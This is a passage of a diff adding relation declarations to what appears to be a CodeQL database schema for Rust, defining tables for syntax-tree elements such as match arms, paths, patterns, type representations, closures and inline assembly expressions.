+); + +#keyset[id] +match_arm_pats( + int id: @match_arm ref, + int pat: @pat ref +); + +match_arm_lists( + unique int id: @match_arm_list +); + +#keyset[id, index] +match_arm_list_arms( + int id: @match_arm_list ref, + int index: int ref, + int arm: @match_arm ref +); + +#keyset[id, index] +match_arm_list_attrs( + int id: @match_arm_list ref, + int index: int ref, + int attr: @attr ref +); + +match_guards( + unique int id: @match_guard +); + +#keyset[id] +match_guard_conditions( + int id: @match_guard ref, + int condition: @expr ref +); + +meta( + unique int id: @meta +); + +#keyset[id] +meta_exprs( + int id: @meta ref, + int expr: @expr ref +); + +#keyset[id] +meta_is_unsafe( + int id: @meta ref +); + +#keyset[id] +meta_paths( + int id: @meta ref, + int path: @path ref +); + +#keyset[id] +meta_token_trees( + int id: @meta ref, + int token_tree: @token_tree ref +); + +names( + unique int id: @name +); + +#keyset[id] +name_texts( + int id: @name ref, + string text: string ref +); + +@param_base = + @param +| @self_param +; + +#keyset[id, index] +param_base_attrs( + int id: @param_base ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +param_base_type_reprs( + int id: @param_base ref, + int type_repr: @type_repr ref +); + +param_lists( + unique int id: @param_list +); + +#keyset[id, index] +param_list_params( + int id: @param_list ref, + int index: int ref, + int param: @param ref +); + +#keyset[id] +param_list_self_params( + int id: @param_list ref, + int self_param: @self_param ref +); + +parenthesized_arg_lists( + unique int id: @parenthesized_arg_list +); + +#keyset[id, index] +parenthesized_arg_list_type_args( + int id: @parenthesized_arg_list ref, + int index: int ref, + int type_arg: @type_arg ref +); + +@pat = + @box_pat +| @const_block_pat +| @ident_pat +| @literal_pat +| @macro_pat +| @or_pat +| @paren_pat +| @path_pat +| @range_pat +| @ref_pat +| @rest_pat +| @slice_pat +| @struct_pat +| @tuple_pat +| @tuple_struct_pat +| @wildcard_pat +; + +paths( + unique int id: @path +); + +#keyset[id] +path_qualifiers( + int id: @path ref, + int qualifier: @path ref +); + +#keyset[id] +path_segments_( + int id: @path ref, + int segment: @path_segment ref +); + +path_segments( + unique int id: @path_segment +); + +#keyset[id] +path_segment_generic_arg_lists( + int id: @path_segment ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +path_segment_identifiers( + int id: @path_segment ref, + int identifier: @name_ref ref +); + +#keyset[id] +path_segment_parenthesized_arg_lists( + int id: @path_segment ref, + int parenthesized_arg_list: @parenthesized_arg_list ref +); + +#keyset[id] +path_segment_ret_types( + int id: @path_segment ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +path_segment_return_type_syntaxes( + int id: @path_segment ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +path_segment_type_reprs( + int id: @path_segment ref, + int type_repr: @type_repr ref +); + +#keyset[id] +path_segment_trait_type_reprs( + int id: @path_segment ref, + int trait_type_repr: @path_type_repr ref +); + +renames( + unique int id: @rename +); + +#keyset[id] +rename_names( + int id: @rename ref, + int name: @name ref +); + +@resolvable = + @method_call_expr +| @path_ast_node +; + +#keyset[id] +resolvable_resolved_paths( + int id: @resolvable ref, + string resolved_path: string ref +); + +#keyset[id] +resolvable_resolved_crate_origins( + int id: @resolvable ref, + string resolved_crate_origin: string ref +); + +ret_type_reprs( + unique int id: @ret_type_repr +); + +#keyset[id] +ret_type_repr_type_reprs( + int id: @ret_type_repr ref, + int type_repr: @type_repr ref +); + +return_type_syntaxes( + unique int id: @return_type_syntax +); + +source_files( + unique int id: @source_file +); + +#keyset[id, index] +source_file_attrs( + int id: @source_file ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +source_file_items( + int id: @source_file ref, + int index: int ref, + int item: @item ref +); + +@stmt = + @expr_stmt +| @item +| @let_stmt +; + +stmt_lists( + unique int id: @stmt_list +); + +#keyset[id, index] +stmt_list_attrs( + int id: @stmt_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +stmt_list_statements( + int id: @stmt_list ref, + int index: int ref, + int statement: @stmt ref +); + +#keyset[id] +stmt_list_tail_exprs( + int id: @stmt_list ref, + int tail_expr: @expr ref +); + +struct_expr_fields( + unique int id: @struct_expr_field +); + +#keyset[id, index] +struct_expr_field_attrs( + int id: @struct_expr_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_expr_field_exprs( + int id: @struct_expr_field ref, + int expr: @expr ref +); + +#keyset[id] +struct_expr_field_identifiers( + int id: @struct_expr_field ref, + int identifier: @name_ref ref +); + +struct_expr_field_lists( + unique int id: @struct_expr_field_list +); + +#keyset[id, index] +struct_expr_field_list_attrs( + int id: @struct_expr_field_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +struct_expr_field_list_fields( + int id: @struct_expr_field_list ref, + int index: int ref, + int field: @struct_expr_field ref +); + +#keyset[id] +struct_expr_field_list_spreads( + int id: @struct_expr_field_list ref, + int spread: @expr ref +); + +struct_fields( + unique int id: @struct_field +); + +#keyset[id, index] +struct_field_attrs( + int id: @struct_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_defaults( + int id: @struct_field ref, + int default: @expr ref +); + +#keyset[id] +struct_field_is_unsafe( + int id: @struct_field ref +); + +#keyset[id] +struct_field_names( + int id: @struct_field ref, + int name: @name ref +); + +#keyset[id] +struct_field_type_reprs( + int id: @struct_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +struct_field_visibilities( + int id: @struct_field ref, + int visibility: @visibility ref +); + +struct_pat_fields( + unique int id: @struct_pat_field +); + +#keyset[id, index] +struct_pat_field_attrs( + int id: @struct_pat_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_pat_field_identifiers( + int id: @struct_pat_field ref, + int identifier: @name_ref ref +); + +#keyset[id] +struct_pat_field_pats( + int id: @struct_pat_field ref, + int pat: @pat ref +); + +struct_pat_field_lists( + unique int id: @struct_pat_field_list +); + +#keyset[id, index] +struct_pat_field_list_fields( + int id: @struct_pat_field_list ref, + int index: int ref, + int field: @struct_pat_field ref +); + +#keyset[id] +struct_pat_field_list_rest_pats( + int id: @struct_pat_field_list ref, + int rest_pat: @rest_pat ref +); + +@token = + @comment +; + +token_trees( + unique int id: @token_tree +); + +tuple_fields( + unique int id: @tuple_field +); + +#keyset[id, index] +tuple_field_attrs( + int id: @tuple_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +tuple_field_type_reprs( + int id: @tuple_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +tuple_field_visibilities( + int id: @tuple_field ref, + int visibility: @visibility ref +); + +type_bounds( + unique int id: @type_bound +); + +#keyset[id] +type_bound_is_async( + int id: @type_bound ref +); + +#keyset[id] +type_bound_is_const( + int id: @type_bound ref +); + +#keyset[id] +type_bound_lifetimes( + int id: @type_bound ref, + int lifetime: @lifetime ref +); + +#keyset[id] +type_bound_type_reprs( + int id: @type_bound ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_bound_use_bound_generic_args( + int id: @type_bound ref, + int use_bound_generic_args: @use_bound_generic_args ref +); + +type_bound_lists( + unique int id: @type_bound_list +); + +#keyset[id, index] +type_bound_list_bounds( + int id: @type_bound_list ref, + int index: int ref, + int bound: @type_bound ref +); + +@type_repr = + @array_type_repr +| @dyn_trait_type_repr +| @fn_ptr_type_repr +| @for_type_repr +| @impl_trait_type_repr +| @infer_type_repr +| @macro_type_repr +| @never_type_repr +| @paren_type_repr +| @path_type_repr +| @ptr_type_repr +| @ref_type_repr +| @slice_type_repr +| @tuple_type_repr +; + +@use_bound_generic_arg = + @lifetime +| @name_ref +; + +use_bound_generic_args( + unique int id: @use_bound_generic_args +); + +#keyset[id, index] +use_bound_generic_args_use_bound_generic_args( + int id: @use_bound_generic_args ref, + int index: int ref, + int use_bound_generic_arg: @use_bound_generic_arg ref +); + +use_trees( + unique int id: @use_tree +); + +#keyset[id] +use_tree_is_glob( + int id: @use_tree ref +); + +#keyset[id] +use_tree_paths( + int id: @use_tree ref, + int path: @path ref +); + +#keyset[id] +use_tree_renames( + int id: @use_tree ref, + int rename: @rename ref +); + +#keyset[id] +use_tree_use_tree_lists( + int id: @use_tree ref, + int use_tree_list: @use_tree_list ref +); + +use_tree_lists( + unique int id: @use_tree_list +); + +#keyset[id, index] +use_tree_list_use_trees( + int id: @use_tree_list ref, + int index: int ref, + int use_tree: @use_tree ref +); + +@variant_def = + @struct +| @union +| @variant +; + +variant_lists( + unique int id: @variant_list +); + +#keyset[id, index] +variant_list_variants( + int id: @variant_list ref, + int index: int ref, + int variant: @variant ref +); + +visibilities( + unique int id: @visibility +); + +#keyset[id] +visibility_paths( + int id: @visibility ref, + int path: @path ref +); + +where_clauses( + unique int id: @where_clause +); + +#keyset[id, index] +where_clause_predicates( + int id: @where_clause ref, + int index: int ref, + int predicate: @where_pred ref +); + +where_preds( + unique int id: @where_pred +); + +#keyset[id] +where_pred_generic_param_lists( + int id: @where_pred ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +where_pred_lifetimes( + int id: @where_pred ref, + int lifetime: @lifetime ref +); + +#keyset[id] +where_pred_type_reprs( + int id: @where_pred ref, + int type_repr: @type_repr ref +); + +#keyset[id] +where_pred_type_bound_lists( + int id: @where_pred ref, + int type_bound_list: @type_bound_list ref +); + +array_expr_internals( + unique int id: @array_expr_internal +); + +#keyset[id, index] +array_expr_internal_attrs( + int id: @array_expr_internal ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +array_expr_internal_exprs( + int id: @array_expr_internal ref, + int index: int ref, + int expr: @expr ref +); + +#keyset[id] +array_expr_internal_is_semicolon( + int id: @array_expr_internal ref +); + +array_type_reprs( + unique int id: @array_type_repr +); + +#keyset[id] +array_type_repr_const_args( + int id: @array_type_repr ref, + int const_arg: @const_arg ref +); + +#keyset[id] +array_type_repr_element_type_reprs( + int id: @array_type_repr ref, + int element_type_repr: @type_repr ref +); + +asm_clobber_abis( + unique int id: @asm_clobber_abi +); + +asm_consts( + unique int id: @asm_const +); + +#keyset[id] +asm_const_exprs( + int id: @asm_const ref, + int expr: @expr ref +); + +#keyset[id] +asm_const_is_const( + int id: @asm_const ref +); + +asm_exprs( + unique int id: @asm_expr +); + +#keyset[id, index] +asm_expr_asm_pieces( + int id: @asm_expr ref, + int index: int ref, + int asm_piece: @asm_piece ref +); + +#keyset[id, index] +asm_expr_attrs( + int id: @asm_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +asm_expr_templates( + int id: @asm_expr ref, + int index: int ref, + int template: @expr ref +); + +asm_labels( + unique int id: @asm_label +); + +#keyset[id] +asm_label_block_exprs( + int id: @asm_label ref, + int block_expr: @block_expr ref +); + +asm_operand_nameds( + unique int id: @asm_operand_named +); + +#keyset[id] +asm_operand_named_asm_operands( + int id: @asm_operand_named ref, + int asm_operand: @asm_operand ref +); + +#keyset[id] +asm_operand_named_names( + int id: @asm_operand_named ref, + int name: @name ref +); + +asm_options_lists( + unique int id: @asm_options_list +); + +#keyset[id, index] +asm_options_list_asm_options( + int id: @asm_options_list ref, + int index: int ref, + int asm_option: @asm_option ref +); + +asm_reg_operands( + unique int id: @asm_reg_operand +); + +#keyset[id] +asm_reg_operand_asm_dir_specs( + int id: @asm_reg_operand ref, + int asm_dir_spec: @asm_dir_spec ref +); + +#keyset[id] +asm_reg_operand_asm_operand_exprs( + int id: @asm_reg_operand ref, + int asm_operand_expr: @asm_operand_expr ref +); + +#keyset[id] +asm_reg_operand_asm_reg_specs( + int id: @asm_reg_operand ref, + int asm_reg_spec: @asm_reg_spec ref +); + +asm_syms( + unique int id: @asm_sym +); + +#keyset[id] +asm_sym_paths( + int id: @asm_sym ref, + int path: @path ref +); + +assoc_type_args( + unique int id: @assoc_type_arg +); + +#keyset[id] +assoc_type_arg_const_args( + int id: @assoc_type_arg ref, + int const_arg: @const_arg ref +); + +#keyset[id] +assoc_type_arg_generic_arg_lists( + int id: @assoc_type_arg ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +assoc_type_arg_identifiers( + int id: @assoc_type_arg ref, + int identifier: @name_ref ref +); + +#keyset[id] +assoc_type_arg_param_lists( + int id: @assoc_type_arg ref, + int param_list: @param_list ref +); + +#keyset[id] +assoc_type_arg_ret_types( + int id: @assoc_type_arg ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +assoc_type_arg_return_type_syntaxes( + int id: @assoc_type_arg ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +assoc_type_arg_type_reprs( + int id: @assoc_type_arg ref, + int type_repr: @type_repr ref +); + +#keyset[id] +assoc_type_arg_type_bound_lists( + int id: @assoc_type_arg ref, + int type_bound_list: @type_bound_list ref +); + +await_exprs( + unique int id: @await_expr +); + +#keyset[id, index] +await_expr_attrs( + int id: @await_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +await_expr_exprs( + int id: @await_expr ref, + int expr: @expr ref +); + +become_exprs( + unique int id: @become_expr +); + +#keyset[id, index] +become_expr_attrs( + int id: @become_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +become_expr_exprs( + int id: @become_expr ref, + int expr: @expr ref +); + +binary_exprs( + unique int id: @binary_expr +); + +#keyset[id, index] +binary_expr_attrs( + int id: @binary_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +binary_expr_lhs( + int id: @binary_expr ref, + int lhs: @expr ref +); + +#keyset[id] +binary_expr_operator_names( + int id: @binary_expr ref, + string operator_name: string ref +); + +#keyset[id] +binary_expr_rhs( + int id: @binary_expr ref, + int rhs: @expr ref +); + +box_pats( + unique int id: @box_pat +); + +#keyset[id] +box_pat_pats( + int id: @box_pat ref, + int pat: @pat ref +); + +break_exprs( + unique int id: @break_expr +); + +#keyset[id, index] +break_expr_attrs( + int id: @break_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +break_expr_exprs( + int id: @break_expr ref, + int expr: @expr ref +); + +#keyset[id] +break_expr_lifetimes( + int id: @break_expr ref, + int lifetime: @lifetime ref +); + +@call_expr_base = + @call_expr +| @method_call_expr +; + +#keyset[id] +call_expr_base_arg_lists( + int id: @call_expr_base ref, + int arg_list: @arg_list ref +); + +#keyset[id, index] +call_expr_base_attrs( + int id: @call_expr_base ref, + int index: int ref, + int attr: @attr ref +); + +cast_exprs( + unique int id: @cast_expr +); + +#keyset[id, index] +cast_expr_attrs( + int id: @cast_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +cast_expr_exprs( + int id: @cast_expr ref, + int expr: @expr ref +); + +#keyset[id] +cast_expr_type_reprs( + int id: @cast_expr ref, + int type_repr: @type_repr ref +); + +closure_exprs( + unique int id: @closure_expr +); + +#keyset[id] +closure_expr_bodies( + int id: @closure_expr ref, + int body: @expr ref +); + +#keyset[id] +closure_expr_closure_binders( + int id: @closure_expr ref, + int closure_binder: @closure_binder ref +); + +#keyset[id] +closure_expr_is_async( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_const( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_gen( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_move( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_static( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_ret_types( + int id: @closure_expr ref, + int ret_type: @ret_type_repr ref +); + +comments( + unique int id: @comment, + int parent: @ast_node ref, + string text: string ref +); + +const_args( + unique int id: @const_arg +); + +#keyset[id] +const_arg_exprs( + int id: @const_arg ref, + int expr: @expr ref +); + +const_block_pats( + unique int id: @const_block_pat +); + +#keyset[id] +const_block_pat_block_exprs( + int id: @const_block_pat ref, + int block_expr: @block_expr ref +); + +#keyset[id] +const_block_pat_is_const( + int id: @const_block_pat ref +); + +const_params( + unique int id: @const_param +); + +#keyset[id, index] +const_param_attrs( + int id: @const_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_param_default_vals( + int id: @const_param ref, + int default_val: @const_arg ref +); + +#keyset[id] +const_param_is_const( + int id: @const_param ref +); + +#keyset[id] +const_param_names( + int id: @const_param ref, + int name: @name ref +); + +#keyset[id] +const_param_type_reprs( + int id: @const_param ref, + int type_repr: @type_repr ref +); + +continue_exprs( + unique int id: @continue_expr +); + +#keyset[id, index] +continue_expr_attrs( + int id: @continue_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +continue_expr_lifetimes( + int id: @continue_expr ref, + int lifetime: @lifetime ref +); + +dyn_trait_type_reprs( + unique int id: @dyn_trait_type_repr +); + +#keyset[id] +dyn_trait_type_repr_type_bound_lists( + int id: @dyn_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +expr_stmts( + unique int id: @expr_stmt +); + +#keyset[id] +expr_stmt_exprs( + int id: @expr_stmt ref, + int expr: @expr ref +); + +field_exprs( + unique int id: @field_expr +); + +#keyset[id, index] +field_expr_attrs( + int id: @field_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +field_expr_containers( + int id: @field_expr ref, + int container: @expr ref +); + +#keyset[id] +field_expr_identifiers( + int id: @field_expr ref, + int identifier: @name_ref ref +); + +fn_ptr_type_reprs( + unique int id: @fn_ptr_type_repr +); + +#keyset[id] +fn_ptr_type_repr_abis( + int id: @fn_ptr_type_repr ref, + int abi: @abi ref +); + +#keyset[id] +fn_ptr_type_repr_is_async( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_const( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_unsafe( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_param_lists( + int id: @fn_ptr_type_repr ref, + int param_list: @param_list ref +); + +#keyset[id] +fn_ptr_type_repr_ret_types( + int id: @fn_ptr_type_repr ref, + int ret_type: @ret_type_repr ref +); + +for_type_reprs( + unique int id: @for_type_repr +); + +#keyset[id] +for_type_repr_generic_param_lists( + int id: @for_type_repr ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +for_type_repr_type_reprs( + int id: @for_type_repr ref, + int type_repr: @type_repr ref +); + +format_args_exprs( + unique int id: @format_args_expr +); + +#keyset[id, index] +format_args_expr_args( + int id: @format_args_expr ref, + int index: int ref, + int arg: @format_args_arg ref +); + +#keyset[id, index] +format_args_expr_attrs( + int id: @format_args_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +format_args_expr_templates( + int id: @format_args_expr ref, + int template: @expr ref +); + +ident_pats( + unique int id: @ident_pat +); + +#keyset[id, index] +ident_pat_attrs( + int id: @ident_pat ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ident_pat_is_mut( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_is_ref( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_names( + int id: @ident_pat ref, + int name: @name ref +); + +#keyset[id] +ident_pat_pats( + int id: @ident_pat ref, + int pat: @pat ref +); + +if_exprs( + unique int id: @if_expr +); + +#keyset[id, index] +if_expr_attrs( + int id: @if_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +if_expr_conditions( + int id: @if_expr ref, + int condition: @expr ref +); + +#keyset[id] +if_expr_elses( + int id: @if_expr ref, + int else: @expr ref +); + +#keyset[id] +if_expr_thens( + int id: @if_expr ref, + int then: @block_expr ref +); + +impl_trait_type_reprs( + unique int id: @impl_trait_type_repr +); + +#keyset[id] +impl_trait_type_repr_type_bound_lists( + int id: @impl_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +index_exprs( + unique int id: @index_expr +); + +#keyset[id, index] +index_expr_attrs( + int id: @index_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +index_expr_bases( + int id: @index_expr ref, + int base: @expr ref +); + +#keyset[id] +index_expr_indices( + int id: @index_expr ref, + int index: @expr ref +); + +infer_type_reprs( + unique int id: @infer_type_repr +); + +@item = + @const +| @enum +| @extern_block +| @extern_crate +| @function +| @impl +| @macro_call +| @macro_def +| @macro_rules +| @module +| @static +| @struct +| @trait +| @trait_alias +| @type_alias +| @union +| @use +; + +#keyset[id] +item_attribute_macro_expansions( + int id: @item ref, + int attribute_macro_expansion: @macro_items ref +); + +@labelable_expr = + @block_expr +| @looping_expr +; + +#keyset[id] +labelable_expr_labels( + int id: @labelable_expr ref, + int label: @label ref +); + +let_exprs( + unique int id: @let_expr +); + +#keyset[id, index] +let_expr_attrs( + int id: @let_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_expr_scrutinees( + int id: @let_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +let_expr_pats( + int id: @let_expr ref, + int pat: @pat ref +); + +let_stmts( + unique int id: @let_stmt +); + +#keyset[id, index] +let_stmt_attrs( + int id: @let_stmt ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_stmt_initializers( + int id: @let_stmt ref, + int initializer: @expr ref +); + +#keyset[id] +let_stmt_let_elses( + int id: @let_stmt ref, + int let_else: @let_else ref +); + +#keyset[id] +let_stmt_pats( + int id: @let_stmt ref, + int pat: @pat ref +); + +#keyset[id] +let_stmt_type_reprs( + int id: @let_stmt ref, + int type_repr: @type_repr ref +); + +lifetimes( + unique int id: @lifetime +); + +#keyset[id] +lifetime_texts( + int id: @lifetime ref, + string text: string ref +); + +lifetime_args( + unique int id: @lifetime_arg +); + +#keyset[id] +lifetime_arg_lifetimes( + int id: @lifetime_arg ref, + int lifetime: @lifetime ref +); + +lifetime_params( + unique int id: @lifetime_param +); + +#keyset[id, index] +lifetime_param_attrs( + int id: @lifetime_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +lifetime_param_lifetimes( + int id: @lifetime_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +lifetime_param_type_bound_lists( + int id: @lifetime_param ref, + int type_bound_list: @type_bound_list ref +); + +literal_exprs( + unique int id: @literal_expr +); + +#keyset[id, index] +literal_expr_attrs( + int id: @literal_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +literal_expr_text_values( + int id: @literal_expr ref, + string text_value: string ref +); + +literal_pats( + unique int id: @literal_pat +); + +#keyset[id] +literal_pat_literals( + int id: @literal_pat ref, + int literal: @literal_expr ref +); + +macro_block_exprs( + unique int id: @macro_block_expr +); + +#keyset[id] +macro_block_expr_tail_exprs( + int id: @macro_block_expr ref, + int tail_expr: @expr ref +); + +#keyset[id, index] +macro_block_expr_statements( + int id: @macro_block_expr ref, + int index: int ref, + int statement: @stmt ref +); + +macro_exprs( + unique int id: @macro_expr +); + +#keyset[id] +macro_expr_macro_calls( + int id: @macro_expr ref, + int macro_call: @macro_call ref +); + +macro_pats( + unique int id: @macro_pat +); + +#keyset[id] +macro_pat_macro_calls( + int id: @macro_pat ref, + int macro_call: @macro_call ref +); + +macro_type_reprs( + unique int id: @macro_type_repr +); + +#keyset[id] +macro_type_repr_macro_calls( + int id: @macro_type_repr ref, + int macro_call: @macro_call ref +); + +match_exprs( + unique int id: @match_expr +); + +#keyset[id, index] +match_expr_attrs( + int id: @match_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_expr_scrutinees( + int id: @match_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +match_expr_match_arm_lists( + int id: @match_expr ref, + int match_arm_list: @match_arm_list ref +); + +name_refs( + unique int id: @name_ref +); + +#keyset[id] +name_ref_texts( + int id: @name_ref ref, + string text: string ref +); + +never_type_reprs( + unique int id: @never_type_repr +); + +offset_of_exprs( + unique int id: @offset_of_expr +); + +#keyset[id, index] +offset_of_expr_attrs( + int id: @offset_of_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +offset_of_expr_fields( + int id: @offset_of_expr ref, + int index: int ref, + int field: @name_ref ref +); + +#keyset[id] +offset_of_expr_type_reprs( + int id: @offset_of_expr ref, + int type_repr: @type_repr ref +); + +or_pats( + unique int id: @or_pat +); + +#keyset[id, index] +or_pat_pats( + int id: @or_pat ref, + int index: int ref, + int pat: @pat ref +); + +params( + unique int id: @param +); + +#keyset[id] +param_pats( + int id: @param ref, + int pat: @pat ref +); + +paren_exprs( + unique int id: @paren_expr +); + +#keyset[id, index] +paren_expr_attrs( + int id: @paren_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +paren_expr_exprs( + int id: @paren_expr ref, + int expr: @expr ref +); + +paren_pats( + unique int id: @paren_pat +); + +#keyset[id] +paren_pat_pats( + int id: @paren_pat ref, + int pat: @pat ref +); + +paren_type_reprs( + unique int id: @paren_type_repr +); + +#keyset[id] +paren_type_repr_type_reprs( + int id: @paren_type_repr ref, + int type_repr: @type_repr ref +); + +@path_ast_node = + @path_expr +| @path_pat +| @struct_expr +| @struct_pat +| @tuple_struct_pat +; + +#keyset[id] +path_ast_node_paths( + int id: @path_ast_node ref, + int path: @path ref +); + +@path_expr_base = + @path_expr +; + +path_type_reprs( + unique int id: @path_type_repr +); + +#keyset[id] +path_type_repr_paths( + int id: @path_type_repr ref, + int path: @path ref +); + +prefix_exprs( + unique int id: @prefix_expr +); + +#keyset[id, index] +prefix_expr_attrs( + int id: @prefix_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +prefix_expr_exprs( + int id: @prefix_expr ref, + int expr: @expr ref +); + +#keyset[id] +prefix_expr_operator_names( + int id: @prefix_expr ref, + string operator_name: string ref +); + +ptr_type_reprs( + unique int id: @ptr_type_repr +); + +#keyset[id] +ptr_type_repr_is_const( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_is_mut( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_type_reprs( + int id: @ptr_type_repr ref, + int type_repr: @type_repr ref +); + +range_exprs( + unique int id: @range_expr +); + +#keyset[id, index] +range_expr_attrs( + int id: @range_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +range_expr_ends( + int id: @range_expr ref, + int end: @expr ref +); + +#keyset[id] +range_expr_operator_names( + int id: @range_expr ref, + string operator_name: string ref +); + +#keyset[id] +range_expr_starts( + int id: @range_expr ref, + int start: @expr ref +); + +range_pats( + unique int id: @range_pat +); + +#keyset[id] +range_pat_ends( + int id: @range_pat ref, + int end: @pat ref +); + +#keyset[id] +range_pat_operator_names( + int id: @range_pat ref, + string operator_name: string ref +); + +#keyset[id] +range_pat_starts( + int id: @range_pat ref, + int start: @pat ref +); + +ref_exprs( + unique int id: @ref_expr +); + +#keyset[id, index] +ref_expr_attrs( + int id: @ref_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ref_expr_exprs( + int id: @ref_expr ref, + int expr: @expr ref +); + +#keyset[id] +ref_expr_is_const( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_mut( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_raw( + int id: @ref_expr ref +); + +ref_pats( + unique int id: @ref_pat +); + +#keyset[id] +ref_pat_is_mut( + int id: @ref_pat ref +); + +#keyset[id] +ref_pat_pats( + int id: @ref_pat ref, + int pat: @pat ref +); + +ref_type_reprs( + unique int id: @ref_type_repr +); + +#keyset[id] +ref_type_repr_is_mut( + int id: @ref_type_repr ref +); + +#keyset[id] +ref_type_repr_lifetimes( + int id: @ref_type_repr ref, + int lifetime: @lifetime ref +); + +#keyset[id] +ref_type_repr_type_reprs( + int id: @ref_type_repr ref, + int type_repr: @type_repr ref +); + +rest_pats( + unique int id: @rest_pat +); + +#keyset[id, index] +rest_pat_attrs( + int id: @rest_pat ref, + int index: int ref, + int attr: @attr ref +); + +return_exprs( + unique int id: @return_expr +); + +#keyset[id, index] +return_expr_attrs( + int id: @return_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +return_expr_exprs( + int id: @return_expr ref, + int expr: @expr ref +); + +self_params( + unique int id: @self_param +); + +#keyset[id] +self_param_is_ref( + int id: @self_param ref +); + +#keyset[id] +self_param_is_mut( + int id: @self_param ref +); + +#keyset[id] +self_param_lifetimes( + int id: @self_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +self_param_names( + int id: @self_param ref, + int name: @name ref +); + +slice_pats( + unique int id: @slice_pat +); + +#keyset[id, index] +slice_pat_pats( + int id: @slice_pat ref, + int index: int ref, + int pat: @pat ref +); + +slice_type_reprs( + unique int id: @slice_type_repr +); + +#keyset[id] +slice_type_repr_type_reprs( + int id: @slice_type_repr ref, + int type_repr: @type_repr ref +); + +struct_field_lists( + unique int id: @struct_field_list +); + +#keyset[id, index] +struct_field_list_fields( + int id: @struct_field_list ref, + int index: int ref, + int field: @struct_field ref +); + +try_exprs( + unique int id: @try_expr +); + +#keyset[id, index] +try_expr_attrs( + int id: @try_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +try_expr_exprs( + int id: @try_expr ref, + int expr: @expr ref +); + +tuple_exprs( + unique int id: @tuple_expr +); + +#keyset[id, index] +tuple_expr_attrs( + int id: @tuple_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +tuple_expr_fields( + int id: @tuple_expr ref, + int index: int ref, + int field: @expr ref +); + +tuple_field_lists( + unique int id: @tuple_field_list +); + +#keyset[id, index] +tuple_field_list_fields( + int id: @tuple_field_list ref, + int index: int ref, + int field: @tuple_field ref +); + +tuple_pats( + unique int id: @tuple_pat +); + +#keyset[id, index] +tuple_pat_fields( + int id: @tuple_pat ref, + int index: int ref, + int field: @pat ref +); + +tuple_type_reprs( + unique int id: @tuple_type_repr +); + +#keyset[id, index] +tuple_type_repr_fields( + int id: @tuple_type_repr ref, + int index: int ref, + int field: @type_repr ref +); + +type_args( + unique int id: @type_arg +); + +#keyset[id] +type_arg_type_reprs( + int id: @type_arg ref, + int type_repr: @type_repr ref +); + +type_params( + unique int id: @type_param +); + +#keyset[id, 